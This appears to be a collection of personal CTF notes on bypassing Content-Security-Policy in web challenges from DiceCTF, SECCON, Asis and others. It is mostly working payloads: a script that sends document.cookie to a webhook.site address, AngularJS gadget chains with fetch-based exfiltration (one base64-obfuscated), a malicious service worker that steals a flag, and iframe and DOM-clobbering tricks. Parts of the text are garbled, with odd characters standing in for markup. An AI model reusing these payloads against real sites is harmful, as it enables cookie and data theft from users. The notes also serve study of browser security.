Skynet CDN CSP Bypass
from urllib.parse import quote
def escape(s):
d = {
"&": "&",
"<": "<",
">": ">",
'"': """,
"'": "'",
"`": "`",
"+": "+",
}
return "".join(d.get(c, c) for c in s)
script = quote("top['location']['assign'](`https://webhook.site/0a2e67c9-43ed-4e03-9a81-523b502c47b7?${document['cookie']}`)").replace(".", "%5cx2e")
script = "https://cdn.skypack.dev/dompurify/%252f%3F%27;"+script+"%2f%2f"
print(print("<script/type=\"module\"/src=\""+script+"\"/></script>"))
CSP Bypass unsafe-eval in chrome extension
| Event Name | DiceCTF 2025 |
| GitHub URL | - |
| Challenge Name | dicepass |
Attachments
References
unitended solve using iframe bug
<form data-dicepass-username data-dicepass-password>
<input name="value" />
</form>
<iframe id="f3" src="https://dicepass.dicec.tf/docs/test/"> </iframe>
<script>
onload = () =>
setTimeout(async function () {
try {
await dicepass.autofill();
} catch (e) {}
self.chrome =
dicepass.prevUsername.ownerDocument.defaultView.parent.chrome;
const vaults = (await chrome.storage.local.get("vault")).vault;
[vaults[1].origin, vaults[0].origin] = [
vaults[0].origin,
vaults[1].origin,
];
await chrome.storage.local.set({ vault: vaults });
document.forms[0].outerHTML =
"<input id=flag data-dicepass-username data-dicepass-password>";
dicepass.prevUsername = null;
dicepass.prevPassword = null;
try {
await dicepass.autofill();
} catch (e) {}
new Image().src = "/flag=" + flag.value;
}, 1000);
</script>itended solution
dicepass (intended solution):
prevUsername.value or prevPassword.value to be an HTML element using a form & input name=valuedicepass.prevUsername.ownerDocument.defaultView)defaultView.scanPage with a stringObject.prototype.tabId to point to yoursCSP Bypass using redirect
| Event Name | BiITSKRIEG CTF 2025 |
| GitHub URL | - |
| Challenge Name | Get into my Cute Small Planner |
Attachments
To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:
https://example.org/not-path would fail, as it doesn’t match the policy.https://example.com/redirector would pass, as it matches example.com.https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.solver
嘼script src="<http://localhost:3000/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js>" 嘾// 嘼/script 嘾
<div data-ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };
fetch(`http://localhost:3000/`).then(res=>res.text()).then(data=>{ const parser = new DOMParser();
const doc = parser.parseFromString(data, "text/html");
// Extract all links
const links = Array.from(doc.querySelectorAll("a")).map(a => a.href);
// Encode links properly
const encodedLinks = btoa(unescape(encodeURIComponent(JSON.stringify(links))));
// Send links to remote server
return fetch("//0mrn93x5.c5.rs?ans=" + encodedLinks, { method: "GET", mode: "no-cors" })});//');}}</div>∼script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js/../../../../../../ajax/libs/angular.js/1.7.0/angular.min.js">//∼/script>∼div ng-app ng-csp>∼input id=inp autofocus ng-focus=$event.view.eval('eval(atob(`ZmV0Y2goJy9ub3RlL2RhNDJiZjhkLThhMDgtNDQzZC05YjliLWQ0OThjYTIyODQ4MCcpLnRoZW4ociA9PiByLnRleHQoKSkudGhlbihkYXRhID0+IGZldGNoKCdodHRwczovL3dlYmhvb2suc2l0ZS9mZGVjMzhkNi04OGE4LTRkOTgtYTczMi1jNzIwYjM5MTM2NGM/Yz0nK2J0b2EoZGF0YSkpKQ==`))') />∼/div>simpleCalc seccon quals 2023
bypass csp default-src {jsstaticfile} using navigation workers
the mimetype of the script must be js the origin must be same
from urllib.parse import quote
target = "<http://localhost:3000>"
webhook = "<https://webhook.site/9a2fbf03-9a64-49d1-9418-3728945d5e10>"
rmcsp = """
self.addEventListener("fetch", (ev) => {
console.log(ev)
let headers = new Headers()
headers.set("Content-Type","text/html")
if (/\\/js\\//.test(ev.request.url)){
ev.respondWith(new Response("<script>fetch('/flag',{headers:{'X-FLAG':'1'},credentials:'include'}).then(async r=>{location='"""+webhook+"""?'+await r.text()})</script>",{headers}))
}
});
console.log("registered2")
document = {}
document.getElementById = ()=>{return {innerText:"testing"}}
"""
workerUrl = "/js/index.js?expr="+quote(rmcsp)
payload = "navigator.serviceWorker.register('"+workerUrl+"');setInterval(()=>{location='/js/test'},2000)"
print(payload)
payload = target+"/js/..%2f?expr="+quote(payload)
Kurang lebih exploitasi ini memanfaatkan service worker untuk membypass CSP
res.header('Content-Security-Policy', default-src ${js_url} 'unsafe-eval';);
jadi kita memanfaatkan default-src ke script /js/index.js untuk membuat worker, yang dimana worker ini nanti bisa kita tambahkan "fetch" listener untuk menghilangkan CSP header pada page note: di challenge ini ada sedikit magic yang terlibat, yaitu kita bisa membypass worker scope dengan menggunakan "..%2f" (work di express)
unitended solution using same origin, add page with cspless iframe bug in chrome
var f=document.createElement('iframe');
f.src = `http://localhost:3000/js/index.js?q=${'a'.repeat(20000)}`;
document.body.appendChild(f);
f.onload = () => {
f.contentWindow.fetch('/flag', { headers: {'X-FLAG': 'a'}, credentials:'include' })
.then(res => res.text())
.then(flag => location='<https://webhook.site/2ba35f39-faf4-4ef2-86dd-d85af29e4512?q='+flag>)
}
clober the fox https://ctf.p4.team/
<script>
window.open(`https://clobber-the-fox.zajebistyc.tf/?param=<a+id%3Dclob+href%3D"//aa%25%0Alocation=['//xxxx.xxx.xxx?',opener.document.body.innerHTML]">x<%2Fa>`);
location = '<https://clobber-the-fox.zajebistyc.tf/flag>';
</script>
If there a CSP like below where we can add sec-required-csp
gimme CSP
Asis CTF 2023 final
res.header(
'Content-Security-Policy',
[`default-src 'none';`, ...[(req.headers['sec-required-csp'] ?? '').replaceAll('script-src','')]]
)
we can use something like this to add a csp to report something potentially leaking sensitive data
<iframe src='<https://gimmecsp.asisctf.com?letter=></pre><img src="$gift$">' csp="default-src 'none'; repscript-srcort-uri <https://webhook.site/xxx>"></iframe>
or
<iframe referrerpolicy="no-referrer" src='<https://gimmecsp.asisctf.com/?letter=></pre><img src="$gift$">' csp="default-src 'none'; repscript-srcort-uri <https://webhook.site/f54edfd1-bf2e-4c79-87ed-d054377ebf11>"></iframe>
Bypassing csp with dns prefecth or preload, no javascript required
dicectf 2024 another-csp or web/safestlist?
https://www.cse.chalmers.se/research/group/security/pdf/data-exfiltration-in-the-face-of-csp.pdfhttps://github.com/w3c/webappsec-csp/issues/542
<https://developer.mozilla.org/en-US/docs/Web/Performance/dns-prefetch>
<link rel="dns-prefetch" href="<https://fonts.googleapis.com/>" />
<link rel=preload>
<link rel="prefetch" href="./img/intro.mp4" as="video">
<link rel="preconnect" href="attacker domain" crossorigin />